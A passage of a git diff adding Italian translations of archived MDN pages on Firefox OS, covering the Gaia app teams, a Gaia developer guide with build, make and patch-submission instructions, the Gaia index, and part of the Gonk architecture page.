+<p><strong>Note</strong>: Molte delle pagine linkate per ulteriori informazioni sul funzionamento delle singole app sono pagine di README presenti nel <a href="https://github.com/mozilla-b2g/gaia/">repository Github di Gaia</a>. Questo è necessario in quanto molte app hanno rapidi cicli di sviluppo e si evolvono spesso giorno per giorno, e non avrebbe senso cercare di mantenere le pagine di MDN aggiornate alle ultime modifiche. Le pagine di README aggiornate dagli ingegneri sono la più accurata fonte di informazioni.</p>
+</div>
+
+<h3 id="Platform">Platform</h3>
+
+<p>Include System, Settings, Lockscreen, build scripts, e le app Bluetooth.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7503/platform_team.png" style="display: block; height: 269px; margin: 0px auto; width: 355px;"></p>
+
+<h4 id="App_Platform_altre_spiegazioni">App Platform: altre spiegazioni</h4>
+
+<dl>
+ <dt><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps/System">System</a></dt>
+ <dd>L'app System è la prima web app caricata da Gecko durante la <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Architecture#Firefox_OS_bootup_procedure">Procedura di bootup di Firefox OS</a>, e si occupa di molte mansioni necessarie generalmente per il funzionamento del sistema e non progettate specificatamente per una singola app.</dd>
+ <dt><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps/Browser">Browser</a></dt>
+ <dd>L'app Browser (che ora è parte di System) rende disponibili funzionalità tipiche dei browser ove richieste — ad esempio per la navigazione nelle pagine, la ricerca ed i segnalibri.</dd>
+ <dt><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps/Window_Management">Window Management</a></dt>
+ <dd>La funzionalità di gestione delle fineste di Firefox OS — incluso il ciclo vitale dell'app, le interazioni, le notifiche, le animazioni e molto altro — sono gestite da una parte specifica della System app. Questo articolo mette in luce la gestione delle finestre in Firefox OS nel dettaglio.</dd>
+ <dt><a href="/en-US/Firefox_OS/Platform/Gaia/Gaia_apps/Settings">Settings</a></dt>
+ <dd>L'app Settings permette agli utenti Firefox OS di configurare le impostazioni del dispositivo, rispondere alle activities in arrivo (<a href="/en-US/docs/WebAPI/Web_Activities">Web activities</a> con nome <code>configure</code>), che permettono alle altre applicazioni di passare a diversi pannelli contenuti nella app Settings per gestire le configurazioni come richiesto (per esempio mostrando il pannello delle impostazioni Wi-Fi se non è disponibile alcuna connessione).</dd>
+</dl>
+
+<h3 id="Communication">Communication</h3>
+
+<p>include le app Dialer, Contact, SMS e le app FTU.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7499/comms_team.png" style="display: block; height: 246px; margin: 0px auto; width: 317px;"></p>
+
+<h4 id="App_Communication_altre_informazioni">App Communication: altre informazioni</h4>
+
+<p>TBD</p>
+
+<h3 id="Productivity">Productivity</h3>
+
+<p>Include le app Email, Calendar, e Clock.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7505/productivity_team.png" style="display: block; height: 178px; margin: 0px auto; width: 303px;"></p>
+
+<h4 id="App_Productivity_altre_informazioni">App Productivity: altre informazioni</h4>
+
+<dl>
+ <dt><a href="https://github.com/mozilla-b2g/gaia/blob/master/apps/calendar/README.md">Calendar</a></dt>
+ <dd>L'applicazione pre-installata per il calendario di Firefox OS.</dd>
+ <dt><a href="https://github.com/mozilla-b2g/gaia/blob/master/apps/clock/README.md">Clock</a></dt>
+ <dd>L'applicazione standard di Firefox OS per l'orologio, che include sveglia, timer e cronometro.</dd>
+ <dt><a href="https://github.com/mozilla-b2g/gaia/blob/master/apps/email/README.md">Email</a></dt>
+ <dd>L'applicazione e-mail di Gaia.</dd>
+</dl>
+
+<h3 id="Media">Media</h3>
+
+<p>Include le app Camera, Gallery, Music, e Video, oltre ad altre funzioni legate alla multimedialità come wallpapers e forward lock DRM.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/7501/media_team.png" style="display: block; height: 250px; margin: 0px auto; width: 386px;"></p>
+
+<h4 id="App_Media_altre_informazioni">App Media: altre informazioni</h4>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Gaia_apps/Video">Video</a></dt>
+ <dd>Video è un' applicazione che si occupa di visualizzare i video contenuti nella memoria di massa del dispositivo Firefox OS.</dd>
+ <dt><a href="https://github.com/mozilla-b2g/gaia/blob/master/apps/camera/README.md">Camera</a></dt>
+ <dd>Camera permette agli utenti di realizzare foto e video dalla fotocamera del dispositivo, e di rispondere alle <a href="/en-US/docs/WebAPI/Web_Activities">Web activities</a> del tipo <code>pick</code> richiamate da altre app che necessitano delle funzionalità di Camera.</dd>
+</dl>
+
+<h3 id="Altre_funzionalità_di_Gaia">Altre funzionalità di Gaia</h3>
+
+<p>Oltre a queste funzioni, ce ne sono molte altre come browser, homescreen, marketplace, test framework, PDF viewer e app manager, che sono legate nello sviluppo a Gaia.</p>
+
+<dl>
+ <dt><a href="https://github.com/mozilla/pdf.js/blob/master/README.md">pdf.js</a></dt>
+ <dd>pdf.js è un lettore PDF basato su HTML5, usato in Gaia per visualizzare PDF. Notare che il codice di base per pdf.js è mantenuto in repository diversi da quelli di Gaia.</dd>
+</dl>
diff --git a/files/it/archive/b2g_os/platform/gaia/hacking/index.html b/files/it/archive/b2g_os/platform/gaia/hacking/index.html
new file mode 100644
index 0000000000..ba99b3d1ab
--- /dev/null
+++ b/files/it/archive/b2g_os/platform/gaia/hacking/index.html
@@ -0,0 +1,132 @@
+---
+title: Hacking Gaia
+slug: Archive/B2G_OS/Platform/Gaia/Hacking
+tags:
+  - B2G
+  - Firefox OS
+  - Gaia
+  - Sviluppo
+  - linee guida
+translation_of: Firefox_OS/Developing_Gaia
+---
+<div class="warning">
+ <p>Questa pagina è diretta agli sviluppatori Gaia. Se stai cercando informazioni su come compilare e installare Firefox OS dovresti leggere <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Compilare e installare Firefox OS.</a></p>
+</div>
+<p>Gaia è un insieme di <a href="https://developer.mozilla.org/apps" rel="nofollow">web apps</a> che creano l'interfaccia di <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>. Ciò che vedi sullo schermo in Firefox OS è scritto usando le open Web technologies. Anche la schermata home e le app di default usano le stesse tecnologie.</p>
+<h2 id="Ottenere_i_sorgenti">Ottenere i sorgenti</h2>
+<p>Per ottenere  i sorgenti per Gaia, <a href="https://github.com/mozilla-b2g/gaia" title="https://github.com/mozilla-b2g/gaia">effettua un fork su GitHub</a>  e usalo per scaricare i file tramite <a href="http://git-scm.com/" title="http://git-scm.com/">git</a>.</p>
+<pre>$ git clone https://github.com/mozilla-b2g/gaia.git</pre>
+<h2 id="Eseguire_Gaia">Eseguire Gaia</h2>
+<p>Puoi usare Gaia sia su un desktop, dentro a Firefox, sia su un apparecchio mobile compatibile.</p>
+<h3 id="B2G_desktop">B2G desktop</h3>
+<p>B2G desktop è una build per desktop del runtime applicativo usato su Firefox OS che è possibile utilizzare per eseguire Gaia su un computer desktop.</p>
+<p>Puoi scaricare una nightly build di B2G desktop da <a href="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/" title="http://ftp.mozilla.org/pub/mozilla.org/b2g/nightly/">qui</a>. In base alla versione su cui desideri lavorare potresti volere una versione specifica di latest-mozilla-b2g18. Esistono versioni per Linux (32 bit and 64 bit), Mac OS X e Windows.</p>
+<p>Le nightly builds sono pacchettizate con una versione di Gaia recente. Una volta scaricato l'archivio, tutto ciò che dovrai fare è estrarlo in una cartella ed eseguire il file compilato di b2g nella cartella.</p>
+<pre class="brush: bash">$ cd b2g
+$ ./b2g</pre>
+<p>Se vuoi usare una versione personalizzata di Gaia usando B2G devi creare un profilo:</p>
+<pre class="brush: bash">$ cd /path/to/gaia
+$ DEBUG=1 DESKTOP=0 make</pre>
+<p>Questo comando genera una cartella chiamata <code>profile</code><code> </code>nella directory <code>gaia</code>. L'opzione <code>DEBUG</code> esegue Gaia come una hosted app su di un web-server invece che come app pacchettizzate che devono essere ricompilate e ripacchettizate dopo ogni cambiamento. Una volta creato il nuovo profilo puo trovare la sua posizione leggendo l'ultima riga dell'output del comando precedente:</p>
+<pre>Profile Ready: please run [b2g|firefox] -profile /path/to/gaia/profile</pre>
+<p>A questo punto puoi usare il profilo personalizzato in B2G passandolo come variabile:</p>
+<pre>$ ./b2g /path/to/gaia/profile</pre>
+<p>Inoltre se vuoi puoi compilare B2G sai sorgenti.</p>
+<h3 id="Usare_Gaia_in_Firefox">Usare Gaia in Firefox</h3>
+<p>Puoi anche usare Gaia dentro a Firefox. Questo ti permette di mantenere veloce il ciclo di sviluppo e di avere gli strumenti per lo sviluppo ed il debug integrati in Firefox. Vedi <a href="/en-US/docs/Mozilla/Firefox_OS/Using_Gaia_in_Firefox" title="/en-US/docs/Mozilla/Firefox_OS/Using_Gaia_in_Firefox">Usare Gaia in Firefox</a> per i dettagli su come usare Gaia in Firefox.</p>
+<h3 id="Usare_Gaia_su_un_dispositivo">Usare Gaia su un dispositivo</h3>
+<p>Se possiedi un dispositivo compatibile puoi usare Gaia installando Firefox OS. Vedi <a href="/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS" title="Mozilla/Firefox_OS/Building_and_installing_Firefox_OS">Compilare ed installare Firefox OS</a> per i dettagli. Puoi inoltre consultare la documentazione su <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Testing">come testare Firefox OS</a>.</p>
+<h2 id="Test_di_unità">Test di unità</h2>
+<p>Vedi <a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests" title="Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests">Gaia unit tests</a> per la documentazione su come creare ed eseguire i test di unità per Gaia.</p>
+<h2 id="Segnala_i_Bug">Segnala i Bug</h2>
+<p>I bug sono segnalati su Bugzilla nella sezione <a href="https://bugzilla.mozilla.org/buglist.cgi?product=Boot2Gecko&amp;component=Gaia&amp;resolution=---" rel="nofollow">Boot2Gecko &gt; Gaia</a>. Segnala un nuovo bug <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Boot2Gecko" title="https://bugzilla.mozilla.org/enter_bug.cgi?product=Boot2Gecko">under the Gaia component</a> (or one of the sub-components).</p>
+<h2 id="Contribuisci_a_Gaia">Contribuisci a Gaia</h2>
+<p>Mozilla dipende dalle dalla comunità open source  per sviluppare Gaia e le app e ci piacerebbe che tu partecipassi.</p>
+<p>Alcuni posti da cui trovare bug su cui lavorare:</p>
+<ul>
+ <li><a href="https://bugzilla.mozilla.org/buglist.cgi?quicksearch=component:gaia%20sw:polish%20@nobody;list_id=4566236" rel="nofollow">Unowned Gaia polish bugs on Bugzilla</a></li>
+ <li><a href="http://www.joshmatthews.net/bugsahoy/?b2g=1" rel="nofollow">Mentored bugs</a></li>
+</ul>
+<h3 id="Direttive_sul_codice">Direttive sul codice</h3>
+<ul>
+ <li>Background:
+  <ul>
+   <li><a href="/en-US/docs/Developer_Guide/Coding_Style#General_practices" title="Developer_Guide/Coding_Style#General_practices">Coding Style: General practices</a></li>
+   <li><a href="/en-US/docs/Developer_Guide/Coding_Style#JavaScript_practices" title="Developer_Guide/Coding_Style#JavaScript_practices">Coding Style: JavaScript practices</a></li>
+   <li><a href="/en-US/docs/Developer_Guide/Coding_Style#Naming_and_formatting_guide" title="Developer_Guide/Coding_Style#Naming_and_formatting_guide">Coding Style: Naming and formatting guide</a></li>
+  </ul>
+ </li>
+ <li>Aggiungi sempre <code>&lt;!DOCTYPE html&gt;</code>ai file HTML (that is, as HTML5 documents). Se non lo farai, Internet Explorer 9 e seguenti caricheranno le tue pagine in modalità di compatibilità.</li>
+ <li>Aggiungi sempre <code>"use strict";</code> all'inizio dei tuoi fie  JavaScript per usare la modalità strict.</li>
+ <li>Usa due spazi per l'indentazione, non le tabulazioni.</li>
+ <li>Please use line breaks to separate logical bits of code!</li>
+ <li>Usa un trattino basso per separare le parole nei titoli dei file, <code>fai_cosi.js</code>.</li>
+ <li>Usa ' invece di " per le stringhe.</li>
+</ul>
+<h4 id="Regole_in_più">Regole in più</h4>
+<p>Sbagliato:</p>
+<pre>if (expression) doSomething();
+</pre>
+<p>Corretto:</p>
+<pre>if (expression) {
+  doSomething();
+}
+</pre>
+<p>Se lavori su un'app di sistema assicurati di leggere <a href="https://groups.google.com/d/msg/mozilla.dev.gaia/rEhSrw6XmT4/UNvE7qW9pgYJ" title="See_here_for_some_rules._https://groups.google.com/d/msg/mozilla.dev.gaia/rEhSrw6XmT4/UNvE7qW9pgYJ">questo</a>.</p>
+<p>Prima di pubblicare una patch esegui <a href="http://closure-linter.googlecode.com/svn/trunk/closure_linter/gjslint.py" title="http://closure-linter.googlecode.com/svn/trunk/closure_linter/gjslint.py">gjslint</a>  per controllare gli errori di formattazione:</p>
+<pre>gjslint --nojsdoc my_file.js</pre>
+<h3 id="Pubblicare_una_patch">Pubblicare una patch</h3>
+<p>Prima di tutto riporta il bug su <a href="https://bugzilla.mozilla.org/buglist.cgi?product=Boot2Gecko&amp;component=Gaia&amp;resolution=---" title="https://bugzilla.mozilla.org/buglist.cgi?product=Boot2Gecko&amp;component=Gaia&amp;resolution=---">Bugzilla</a> e segnala checi stai lavorando, usa il tuo account account Bugzilla.</p>
+<p>Crea una nuova branch di Gaia in locale:</p>
+<pre>$ git branch branchname
+$ git checkout branchname</pre>
+<p>Segnala i tuoi cambiamenti:</p>
+<pre>$ git add /file/to/add
+$ git commit -m "Bug XXXXX - Fix the broken Gaia and save the world"</pre>
+<p>Esegui il push della tua branch:</p>
+<pre>$ git push origin branchname</pre>
+<p>Usando il bottone Pull sulla tua branch in GitHub segnala che sei disponibile a pubblicare il tuo codice.</p>
+<p>Per richiedere una revisione della tua patch, <a href="http://globau.wordpress.com/2013/10/21/github-pull-requests-and-bugzilla/">allega la pull request</a> al bug segnalato su Bugzilla aggiungendo l'URL della pull request e settando "review" ("r") a "?" quindi aggiungi il bugzilla ID di uno tra i <a href="https://wiki.mozilla.org/Modules/FirefoxOS" title="https://wiki.mozilla.org/Modules/FirefoxOS">proprietari del modulo</a> (Molto importante - altrimenti il tuo bug non verrà controllato da nessuno). Puoi usare l'addon <a href="https://addons.mozilla.org/en-US/firefox/addon/github-tweaks-for-bugzilla/" title="https://addons.mozilla.org/en-US/firefox/addon/github-tweaks-for-bugzilla/">Github tweaks for bugzilla extension on AMO</a> per aiutarti ad automatizzare questo processo. Questo addon ti aiuterà creando automaticamente l'allegato e  lo aggiungerà al bug su bugzilla; <strong>dovrai però segnalare che il bug ha bisogno della revisione di un proprietario</strong>.</p>
+<p>I revisori potrebbero chiederti qualche modifica; potresti dover annulare i tuoi cambiamenti sulla tua branch ma una volta che avrai soddisfattole loro richieste incorporeranno la tua branch nella master del loro modulo. Potrebbero chiederti di anullare tutti i tuoi cambiamenti graduali per crearne uno singolo finale in modo che il tuo lavoro possa essere seguito meglio.</p>
+<p>La persona che incorporerà il cambiamento nella master branch aggiungerà il tag <code>r=</code> flag nel commento al momento dell'incorporamento.</p>
+<h2 id="Opzioni_per_il_comando_make">Opzioni per il comando make</h2>
+<p>Ci sono molte variabili nel Makefile che fanno riferimento a ambienti di sviluppo non più supportati o non sono ben documentate, non fare affidamento su queste perché potrebbero essere rimosse in futuro.</p>
+<h3 id="Default">Default</h3>
+<pre>make</pre>
+<p>Compile un profilo con le app packaged che può essere usato dalla versione B2G Desktop e può essere portato sul dispositivo.</p>
+<h3 id="Debug_make">Debug make</h3>
+<pre>DEBUG=1 make</pre>
+<p>Con questa opzione attivata (<code>DEBUG</code>=1) Gaia può essere utilizzata come una hosted app su un webserver invece che come una app packaged che deve essere pacchettizzata dopo ogni cambiamento. Visita la pagina con l'ultima versione di Firefox Nightly per avere anche gli ultimi strumenti per sviluppatori specifici per B2G.</p>
+<h3 id="Push_to_device">Push to device</h3>
+<pre>make install-gaia
+
+make reset-gaia</pre>
+<p>Usando <code>adb</code> (Android Debug Bridge) puoi mandare al dispositivo la versione di Gaia che hai compilato. <code>reset-gaia</code> rimuoverà completamente tutti i file relativi al profilo utente e le web app prima di mandare al dispositivo la nuova versione di Gaia.</p>
+<h3 id="Selective_build">Selective build</h3>
+<pre>APP=system make
+
+APP=system make install-gaia</pre>
+<p>L'opzione APP permette di specificare quali app mettere nella versione di Gaia che compilerai, questo è utile se non vuoi metterle tutte ogni volta che vuoi aggiornare Gaia sul tuo disposistivo.</p>
+<h3 id="High_resolution_image_assets">High resolution image assets</h3>
+<pre>GAIA_DEV_PIXELS_PER_PX=1.5 make</pre>
+<p>Questa variabile permette di usare diverse risoluzioni per le immagini di sistema, rimpiazzandole con  le rispettive versioni indicate,<code>*@1.5x.(gif|jpg|png)</code>, se esistono.</p>
+<p>Al momento Gaia è rivolta a tre differenti versioni di schermo, HBGA (320x240), qHD (540×960) e WVGA (480×800) ; puoi usare la variabile GAIA_DEV_PIXELS_PER_PX per essere sicuro che le immagini siano alla corretta risoluzione per dispositivi qHD e WVGA . Vedi l'articolo <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag#A_pixel_is_not_a_pixel" title="https://developer.mozilla.org/en-US/docs/Mozilla/Mobile/Viewport_meta_tag#A_pixel_is_not_a_pixel">A pixel is not a pixel</a> per maggiori informazioni sulla relazione tra pixel del dispositivo e i pixel css..</p>
+<h3 id="Script_compression_and_optimization">Script compression and optimization</h3>
+<pre>GAIA_OPTIMIZE=1 make</pre>
+<p>Concatena le risorse di Gaia e ottimizza i file javascript interni per avere un minor tempo di caricamento.</p>
+<h3 id="Preference_shortcuts">Preference shortcuts</h3>
+<pre>NOFTU=1
+</pre>
+<p>Disattiva la guida introduttiva per l'utente.</p>
+<pre>REMOTE_DEBUGGER=1</pre>
+<p>Abilita il debug tramite lo strumento <code>adb</code>.</p>
+<pre>DEVICE_DEBUG=1</pre>
+<p>Per le versioni di Firefox Os successive alla 1.2,  puoi usare questo parametro quando vuoi eseguire il debug delle app tramite lo strumento AppManager.</p>
+<h3 id="Distribution_and_market_customization_build">Distribution and market customization build</h3>
+<pre>GAIA_DISTRIBUTION_DIR=./dir</pre>
+<p>Leggi <a href="https://wiki.mozilla.org/B2G/MarketCustomizations" title="https://wiki.mozilla.org/B2G/MarketCustomizations">Customization Overview</a> per i dettagli.</p>
+<h2 id="Contatta_il_team_in_questi_modi">Contatta il team in questi modi</h2>
+<ul>
+ <li><a href="https://lists.mozilla.org/listinfo/dev-gaia" rel="nofollow">Gaia Mailing List</a></li>
+ <li>#gaia IRC channel on irc.mozilla.org</li>
+</ul>
diff --git a/files/it/archive/b2g_os/platform/gaia/index.html b/files/it/archive/b2g_os/platform/gaia/index.html
new file mode 100644
index 0000000000..4536970556
--- /dev/null
+++ b/files/it/archive/b2g_os/platform/gaia/index.html
@@ -0,0 +1,62 @@
+---
+title: Gaia
+slug: Archive/B2G_OS/Platform/Gaia
+tags:
+  - B2G
+  - Gaia
+  - Mobile
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/B2G_OS/Platform/Gaia
+---
+<p>Gaia è il livello di interfaccia utente di <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS" title="Mozilla/Firefox_OS">Firefox OS</a>. Tutto ciò che appare sullo schermo dopo che Firefox OS è stato avviato è disegnato da Gaia, compresa la schermata di blocco, la schermata principale, il tastierino del telefono e le altre applicazioni. Gaia è stato sviluppato completamente in <a href="https://developer.mozilla.org/en-US/docs/en-US/HTML" title="HTML">HTML</a>, <a href="https://developer.mozilla.org/en-US/docs/CSS" title="CSS">CSS</a>, e <a href="https://developer.mozilla.org/en-US/docs/JavaScript" title="JavaScript">JavaScript</a>. La sua unica interfaccia col sistema operativo e con l'hardware sottostante sono le API Web standard, implementate da <a href="https://developer.mozilla.org/en-US/docs/Gecko" title="Gecko">Gecko</a>.</p>
+
+<p>Grazie a questo design, non solo è possibile eseguire Gaia sui dispositivi Firefox OS, ma anche all'interno di altri sistemi operativi e browser web (seppure probabilmente con funzionalità limitate a seconda delle capapcità del browser).</p>
+
+<p>Applicazioni di terze parti installate sul dispositivo insieme a Gaia possono essere lanciate da Gaia stesso.</p>
+
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h2 class="Documentation" id="Documentation" name="Documentation">Documentazione su Gaia</h2>
+
+    <dl>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Introduction_to_Gaia" title="Mozilla/Boot_to_Gecko/Introduction to Gaia">Introduzione a Gaia</a></dt>
+     <dd>Gaia è l'applicazione per l'interfaccia utente dei dispositivi Firefox OS; non è altro che un'applicazione Web che viene eseguita sul software di Firefox OS. Questa guida introduce Gaia ad alto livello.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Gaia_apps">App Gaia</a></dt>
+     <dd>Informazioni sulle app di default della famiglia di Gaia, consigli su come usarle e come modificarle.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Hacking" title="Mozilla/Boot_to_Gecko/Gaia hacking guide">Guida all'hacking di Gaia</a></dt>
+     <dd>Una guida all'hacking e alla modifica dell'interfaccia di Gaia.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Build_System_Primer" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Build_System_Primer">Primi passi col sistema di compilazione di Gaia</a></dt>
+     <dd>La maggior parte del lavoro inerente la compilazione è eseguito dagli script che si trovano all'interno della directory build/ di Gaia.</dd>
+     <dt><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Hacking_Tips_And_FAQ" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Gaia/Hacking_Tips_And_FAQ">Consigli e FAQ per l'hacking di Gaia</a></dt>
+     <dd>Una lista di consigli e risposte a domande frequenti riguardo l'hacking di Gaia.</dd>
+    </dl>
+
+    <p><span class="alllinks"><a href="https://developer.mozilla.org/en-US/docs/tag/Gaia" title="tag/B2G">Vedi tutti...</a></span></p>
+   </td>
+   <td>
+    <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Argomenti correlati</h2>
+
+    <ul>
+     <li><a href="https://developer.mozilla.org/en-US/docs/Mobile" title="Mobile">Mobile</a></li>
+     <li><a href="https://developer.mozilla.org/en-US/docs/Web" title="/en-US/docs/Web">Tecnologie Web per gli sviluppatori</a>
+      <ul>
+       <li><a href="https://developer.mozilla.org/en-US/docs/HTML" title="HTML">HTML</a></li>
+       <li><a href="https://developer.mozilla.org/en-US/docs/CSS" title="CSS">CSS</a></li>
+       <li><a href="https://developer.mozilla.org/en-US/docs/JavaScript" title="JavaScript">JavaScript</a></li>
+      </ul>
+     </li>
+     <li><a href="https://developer.mozilla.org/en-US/docs/WebAPI" title="/en-US/docs/WebAPI">WebAPI</a></li>
+    </ul>
+
+    <h2 class="Tools" id="Resources" name="Resources">Risorse</h2>
+
+    <ul>
+     <li><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Architecture" title="Mozilla/Firefox_OS/Architecture">Panoramica dell'architettura di Firefox OS</a></li>
+    </ul>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/it/archive/b2g_os/platform/gonk/index.html b/files/it/archive/b2g_os/platform/gonk/index.html
new file mode 100644
index 0000000000..8c50f1de6f
--- /dev/null
+++ b/files/it/archive/b2g_os/platform/gonk/index.html
@@ -0,0 +1,109 @@
+---
+title: Gonk
+slug: Archive/B2G_OS/Platform/Gonk
+tags:
+  - Demoni
+  - Drivers
+  - Firefox OS
+  - Firmware
+  - Gecko
+  - Linux
+  - ODM
+  - OEM
+  - porting
+translation_of: Archive/B2G_OS/Platform/Gonk
+---
+<p> </p>
+
+<div class="summary">
+<p>Gonk è la componente di più basso livella della piattaforma <a href="/docs/Mozilla/Firefox_OS" title="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a>, composta da un kernel Linux basato sull'<a class="external" href="http://source.android.com/">Android Open Source Project</a> (AOSP) e il livello di astrazione hardware dell'userspace (HAL, Hardware Abstraction Layer). Lo scopo di questo articolo è illustrare le componenti di Gonk, per maggiori informazioni sull'architettura di Firefox OS e su quale sia il ruolo di Gonk nel sistema, è possibile leggere la guida sull'<a href="/en-US/Firefox_OS/Platform/Architecture">architettura di Firefox OS</a>.</p>
+</div>
+
+<h2 id="Visione_d'insieme_di_Gonk">Visione d'insieme di Gonk</h2>
+
+<p>Gonk è il livello più basso (Kernel) dello stack di Firefox OS che funge da interfaccia tra Gecko e l'hardware, controllando quest'ultimo e rendendo disponibili le funzionalità hardware alle API Web implementate in Gecko. Gonck può essere visto come la "scatola magica" che si occupa di tutto il complesso lavoro necessario per il controllo del dispositivo a livello hardware.</p>
+
+<p>Gonk è una distribuzione Linux minimale che include alcuni componenti di Android, come la fotocamera e il GPS, ed è esteso da Mozilla sfruttando progetti open source come libusb, bluez, e altri. Questa struttura rende semplice il porting da parte degli OEM di componenti già disponibili per altrte implementazioni Android (come i driver, il firmware, i demoni del livello service) su dispositivi Firefox OS.</p>
+
+<p>Gonk è la destinazione del porting di <a href="/docs/Gecko" title="/en-US/docs/Gecko">Gecko</a>, così come lo sono anche OS X, Windows e Android.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Siccome i diversi dispositvi disponibili possono avere chipset e specifiche hardware differenti anche le distribuzioni di Gonk possono variare.</p>
+</div>
+
+<p>Dato che il progetto Firefox OS definisce Gonk, sono disponibili interfacce per Gecko che non sono disponibili su sistemi operativi differenti; per esempio Gecko dispone dell'accesso diretto alla parte telefonica e al buffer del display.</p>
+
+<h2 id="Architettura_di_Gonk">Architettura di Gonk</h2>
+
+<p>Ogni diverso dispositivo ha una combinazione di Gonk creata ad-hoc per il suo hardware e contenente librerie di sistema, driver e componenti del firmware richieste per il funzionamento del sistema operativo e delle altre componenti hardware. Queste componenti sono determinate dagli OEM in collaborazione con gli sviluppatori del chipset e con gli ODM. L' immagine seguente mostra un' esempio di implementazione di Gonk.</p>
+
+<h2 id="sect1"><img alt="" src="https://mdn.mozillademos.org/files/9489/gonk-architecture.png" style="height: 329px; width: 987px;"></h2>
+
+<p>Questo esempio mostra i seguenti componenti principali (che rappresentano solo una porzione di tutti i possibili componenti presenti nelle implementazioni di Gonk):</p>
+
+<ul>
+ <li><strong>Kernel Linux:</strong> Usa le librerie di android (GPS, Camera, ecc.) e di altri progetti open source (Linux, libusb, bluez e così via).</li>
+ <li><strong>Radio Interface Layer (RIL):</strong> Interagisce con il modem (hardware telefonico) dei telefoni. Consiste di due componenti:
+  <ul>
+   <li><strong>demone rild</strong>: Interagisce con il firmware del modem.</li>
+   <li><strong>rilProxy:</strong> Fa da proxy tra i messaggi di rild e tra il processo b2g.</li>
+  </ul>
+ </li>
+ <li><strong>Processo mediaserver:</strong> Consente la riproduzione audio e video. Gecko comunica con il mediaserver attraverso il meccanismo Android RPC.</li>
+ <li><strong>Processo netd:</strong> Il demone di rete che interagisce direttamente con le interfacce di rete (Wi-Fi) dell'hardware.</li>
+ <li><strong>Bluetooth, ecc:</strong> Bluetooth e altri demoni service-level consentono l'accesso alle funzionalità hardware.</li>
+</ul>
+
+<p>Gonk inoltre avvia, gestisce e spenge il processo b2g, che è il layer Gecko di Firefox OS. Il processo b2g si comporta come un client per i demoni esposti da Gonk; questi interagiscono direttamente con l'hardware ed espongono a Gecko le funzioni hardware del telefono. Gecko comunica con questi demoni attraverso una il protocollo IPC. Questi componenti si scambiano comandi e protocolli per richiedere e fornire servizi. </p>
+
+<div class="note">
+<p><strong>Note</strong>: Per ulteriori informazioni riguardo l'architettura Gonk vedere la <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Architecture">guida all' architettura di Firefox OS</a>.</p>
+</div>
+
+<h2 id="Effettuare_il_porting_di_Gonk">Effettuare il porting di Gonk</h2>
+
+<p>Siccome Firefox OS è basato sul kernel di Android, effetturare il porting di firmware, driver, demoni di servizio e di altri componenti verso Firefox OS richiede poco sforzo. Se un componente custom (ad esempio un modulo RIL od un nuovo demone) è necessario, oppure se è necessaria una modifica al reference design dell' ODM, ulteriori integrazioni e test potrebbero rivelarsi necessari.</p>
+
+<p>In b2g i client comunicano con un demone di sistema tramite una il protocollo IPC. Il client avvia una connessione tramite socket verso il demone, invia la richiesta (utilizzando il protocollo di richiesta del server) tramite la stessa connessione, riceve la risposta e chiude la connessione. Gli OEM sono responsabili per la struttura e per l'implementazione della comunicazione inter-processo tra client e server.</p>
+
+<div class="note">
+<p><strong>Note</strong>: per ulteriori informazioni riguardo il funzionamento del processo di porting vedere <a href="https://developer.mozilla.org/en-US/Firefox_OS/Developing_Firefox_OS/Porting">Porting di Firefox OS</a>.</p>
+</div>
+
+<h3 id="Come_Mozilla_lavora_sui_porting_di_Gonk_insieme_agli_OEM_e_ai_produttori_di_telefoni">Come Mozilla lavora sui porting di Gonk insieme agli OEM e ai produttori di telefoni</h3>
+
+<p>Ogni implementazione di Gonk è il risultato della collaborazione di Mozilla, gli OEM e relativi produttori di componenti (ODM, produttori di chipset).</p>
+
+<p>Mozilla rende disponibile il codice ed i file di supporto a Gonk necessari per l'implementazione in Firefox OS e per la sua distribuzione. Le repository comprendono il kernel Linux (con pochi cambiamenti) e aggiunte per il funzionamento con Gecko.</p>
+
